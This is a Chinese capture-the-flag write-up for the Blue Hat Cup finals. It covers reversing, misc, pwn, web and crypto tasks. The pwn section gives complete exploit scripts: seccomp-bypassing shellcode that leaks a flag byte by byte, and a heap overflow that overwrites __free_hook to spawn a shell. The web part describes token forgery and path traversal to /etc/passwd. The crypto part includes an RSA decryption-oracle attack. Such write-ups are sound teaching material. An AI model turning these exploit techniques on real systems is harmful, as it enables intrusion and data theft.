蓝帽杯 决赛wp

admin 2023-11-13 14:30:11 AnQuanKeInfo 来源:ZONE.CI 全球网 0 阅读模式

 

Re

abc

去了符号,加上符号还原后发现是个数字华容道,玩出华容道即可

网上找到了解决数字华容道的脚本

>>> b = Board(4, "1,10,2,3,5,13,6,4,9,0,7,11,14,15,12,8")
>>> b.get_solution()
Solution found!
Moves: 23
Nodes visited: 4839
Time: 51.375
All moves: (1, 1), (1, 0), (0, 0), (0, 1), (0, 2), (1, 2), (1, 1), (2, 1), (2, 2), (3, 2), (3, 3), (2, 3), (1, 3), (0, 3), (0, 2), (0, 1), (0, 0), (1, 0), (2, 0), (3, 0), (3, 1), (3, 2), (3, 3)
>>> b.get_solution()
Solution found!
Moves: 23
Nodes visited: 4839
Time: 51.375
All moves: (1, 1), (1, 0), (0, 0), (0, 1), (0, 2), (1, 2), (1, 1), (2, 1), (2, 2), (3, 2), (3, 3), (2, 3), (1, 3), (0, 3), (0, 2), (0, 1), (0, 0), (1, 0), (2, 0), (3, 0), (3, 1), (3, 2), (3, 3)
>>> b.get_solution()
a=[(1, 1), (1, 0), (0, 0), (0, 1), (0, 2), (1, 2), (1, 1), (2, 1), (2, 2), (3, 2), (3, 3), (2, 3), (1, 3), (0, 3), (0, 2), (0, 1), (0, 0), (1, 0), (2, 0), (3, 0), (3, 1), (3, 2), (3, 3)]
now=(1,2)
result=''
for i in a:
    if i[0]==now[0] and i[1]+1==now[1]:
        result+='w'
        print('w')
        now=i
    if i[0]==now[0] and i[1]-1==now[1]:
        result+='s'
        print('s')
        now=i
    if i[0]+1 == now[0] and i[1] == now[1]:
        result += 'd'
        print('d')
        now = i
    if i[0] - 1 == now[0] and i[1] == now[1]:
        result += 'a'
        print('a')
        now = i
print(result.replace('a','#').replace('d','%').replace('w','$').replace('s','@'))

得到

$$%@@#$#@#@%%%$$$###@@@

 

Misc

ssh_traffic

发现是ssh流量kao考虑解密
发现tcp流2给出了key.json
利用网上工具network-parser
需要调整很多安装部分。
最后直接输出到当前目录手动查一下flag即可。

张三电脑

下载下来file一下发现是磁盘
直接diskgenius恢复出flag图片了。

 

Pwn

secretcode

构造shellcode,or,要绕FD的沙箱,用0x100000003,然后判断相等选择炸掉或者死循环就行

#coding:utf-8

from pwn import *
import subprocess, sys, os

sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

elf_path = './chall'
ip = '47.104.169.149'
port = 25178
remote_libc_path = '/lib/x86_64-linux-gnu/libc.so.6'

context(os='linux', arch='amd64')
# context.log_level = 'debug'

def run(local = 1):
    global elf
    global p
    if local == 1:
        elf = ELF(elf_path, checksec = False)
        p = elf.process()
    else:
        p = remote(ip, port)
def debug(cmd=''):
    # context.terminal = []
    gdb.attach(p,cmd)
    pause()
def one_gadget(filename = remote_libc_path):
    return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))

def str2int(s, info = '', offset = 0):
    ret = u64(s.ljust(8, '\x00')) - offset
    success('%s ==> 0x%x'%(info, ret))
    return ret
def check(str):
    if '\x00' in str or len(str) > 64:
        result = ''
        for i in str:
            result += i.encode('hex') + ' '
        return result
    return 'success'
alpha = 'abcdefghijklmnopqrstuvwxyz+-_{}'
alpha = alpha + 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + '1234567890'
shell1 = '''
sub sp, 0x408
push 0x67616c66
mov rdi, rsp
xor esi, esi
xor rax, rax
mov al, 2
syscall

xor rdi, rdi
inc rdi
shl rdi, 0x20
add di, 3
mov rsi, rsp
xor rdx, rdx
mov dx, 0x101
xor rax, rax
syscall
'''
shellcode1 = asm(shell1)
shell = '''
add sp, {}
pop rax
cmp al,{}
'''
shell3 = '''
jne fail
jmp $-0
fail:
'''
shellcode3 = asm(shell3)
# flag = 'flag{Y0u_A4e_sc_M43tEr}'
flag = 'flag{Y0u_A4e_sc_M43tEr}'
for i in range(len(flag), 0x30):
    if len(flag) != i:
        print('error, out of alpha')
        exit(1)
    for j in alpha:
        shellcode = shellcode1 + asm(shell.format(i, ord(j))) + shellcode3
        che = check(shellcode)
        if che == 'success':
            run(0)
            p.sendafter('======== Input your secret code ========\n', shellcode)
            try:
                p.recv(timeout=3)
            except EOFError:
                p.close()
                continue
            except KeyboardInterrupt:
                pass
            flag += j
            print(i, 'flag ==> ', flag)
            p.close()
            break
        else:
            print(che)
            print(len(shellcode))
            exit(0)


    # p.interactive()

babynote

edit中abs后再转int,如果是0x80000000,就会还是负数,可以修改size位,大包小,泄露libc,改__free_hook为system

#coding:utf-8

from pwn import *
import subprocess, sys, os

sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

elf_path = './chall'
ip = '47.104.169.149'
port = 14269
remote_libc_path = './libc-2.27.so'

context(os='linux', arch='amd64')
context.log_level = 'debug'

def run(local = 1):
    global elf
    global p
    if local == 1:
        elf = ELF(elf_path, checksec = False)
        p = elf.process()
    else:
        p = remote(ip, port)
def debug(cmd=''):
    # context.terminal = []
    gdb.attach(p,cmd)
    pause()
def one_gadget(filename = remote_libc_path):
    return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))

def str2int(s, info = '', offset = 0):
    ret = u64(s.ljust(8, '\x00')) - offset
    success('%s ==> 0x%x'%(info, ret))
    return ret
def chose(idx):
    sla('> ', str(idx))
def add(size, content = '\n'):
    chose(1)
    sla('size> ', str(size))
    sa('msg> ', content)
def edit(idx, offset, content):
    chose(2)
    sla('idx> ', str(idx))
    sla('offset> ', str(offset))
    sa('msg> ', content)
def free(idx):
    chose(3)
    sla('idx> ', str(idx))
def show(idx):
    chose(4)
    sla('idx> ', str(idx))

run(0)
add(0x18)#0
payload = 'a'*0x1e0 + flat(0, 0x21) + '\n'
add(0x200, payload)#1
for i in range(7):
    add(0x200)#2~8
for i in range(7):
    free(i+2)
payload = flat(0x211) + '\n'
edit(0, 0x80000000, payload)
free(0)
add(0x18)#9
# payload = 'a'*0x20 + '\n'
# add(0x211, payload)
# debug('b *$rebase(0xE8E)')
show(1)
libc = ELF(remote_libc_path)
libc.address = str2int(p.recv(6).ljust(8, '\0'), 'lib', libc.sym['__malloc_hook'] + 0x70)
add(0x18)#10
add(0x18)#11
add(0x18, '/bin/sh\n')#12
free(11)
free(10)
payload = p64(libc.sym['__free_hook']) + '\n'
edit(1, 0, payload)
add(0x18)
payload = p64(libc.sym['system']) + '\n'
add(0x18, payload)
free(12)
# debug()
p.interactive()

 

Web

editjs

题目很疑惑,放了hint之后可以伪造token来弄东西。
POST /register可以拿一个token
有了secretkey之后能伪造了
之后我们可以通过伪造的admin token去addAdmin。 以及/getifile路由
来读一些东西。最后发现可以目录穿越。../../../../../../../../../../../../etc/passwd
在常用目录获取到/root/flag.

 

Crypto

crack point

观察发现,需要计算flag,需要得到key,通过cipher-key public计算,已知G和key G,key大小仅为40bit,通过bsgs算法,复杂度仅有20bit,故考虑直接通过bsgs计算出key,然后恢复flag,sage编写exp如下:

p = 199577891335523667447918233627928226021
E = EllipticCurve(GF(p), [1, 0, 0, 6745936378050226004298256621352165803, 27906538695990793423441372910027591553])
G = E.gen(0)
public = E((26333907222366222187416360421790100900 , 15685215723385060577747689361308893836))
point_1 = E((53570576204982581657469369029969950113, 25369349510945575560344119361348972982))
cipher = E((154197284061586737858758103708592634427, 79569265701802598850923391009373339175))

key = bsgs(G, point_1, (2**20, 2**40), operation='+')
point_2 = key*public
flag = cipher - point_2
print('flag{' + str(flag[0] + flag[1]) + '}')

two bytes

发现是RSA 解密oracle,每次可以得到解密的高位,于是考虑通过解密得到$2^k m$ ,每次判断是否与前一个成移位关系,是则说明乘2后小于N,否则说明模了N,对比LSB oracle,通过二分得到secret即可,exp如下:

import decimal
from winpwn import *
from Crypto.Util.number import long_to_bytes
from string import ascii_letters, digits
import hashlib
from tqdm import tqdm

io = remote('120.27.20.251', 54691)


def pass_pow():
    io.recvuntil('sha256(xxxx + ')
    tail = io.recv(16)
    io.recvuntil(' == ')
    hash_value = io.recv(64)
    alphabet = ascii_letters + digits
    io.recvuntil('give me xxxx:')
    for a in tqdm(alphabet):
        for b in alphabet:
            for c in alphabet:
                for d in alphabet:
                    head = a + b + c + d
                    if hashlib.sha256((head + tail).encode()).hexdigest() == hash_value:
                        io.sendline(head)
                        return


def oracle(c):
    io.recvuntil('Your choice: ')
    io.sendline('1')
    io.recvuntil('Your cipher: ')
    io.sendline(str(c))
    res = int(io.recv(4), 16)
    return res


def partial(c, e, n):
    nbits = n.bit_length()
    decimal.getcontext().prec = nbits
    low = decimal.Decimal(0)
    high = decimal.Decimal(n >> 256)
    c = (c * pow(2 ** 255, e, n)) % n
    res = [oracle(c)]
    for _ in tqdm(range(256)):
        c = (c * pow(2, e, n)) % n
        res.append(oracle(c))
        if res[-1] // 2 == res[-2]:
            high = (low + high) / 2
        else:
            low = (low + high) / 2
    return int(high)


def main():
    pass_pow()
    io.recvuntil('Do you want the secret to be padded as PKCS1_v1_6?(y/n)')
    io.send('n\n')
    io.recvuntil('e = ')
    e = int(io.recvuntil('\n').strip())
    io.recvuntil('n = ')
    n = int(io.recvuntil('\n').strip())
    io.recvuntil('c = ')
    c = int(io.recvuntil('\n').strip())
    secret = 2 * partial(c, e, n)
    if pow(secret, e, n) == c:
        print('Got!!')
    elif pow(secret+1, e, n) == c:
        print('Got!!')
        secret += 1
    else:
        print('No Answer!')
        return
    io.recvuntil('Your choice: ')
    io.sendline('2')
    io.recvuntil('You know my secret? (in hex): ')
    io.send(hex(secret)[2:]+'\n')
    io.interactive()


if __name__ == "__main__":
    main()
weinxin
版权声明
本站原创文章转载请注明文章出处及链接,谢谢合作!
评论:0   参与:  2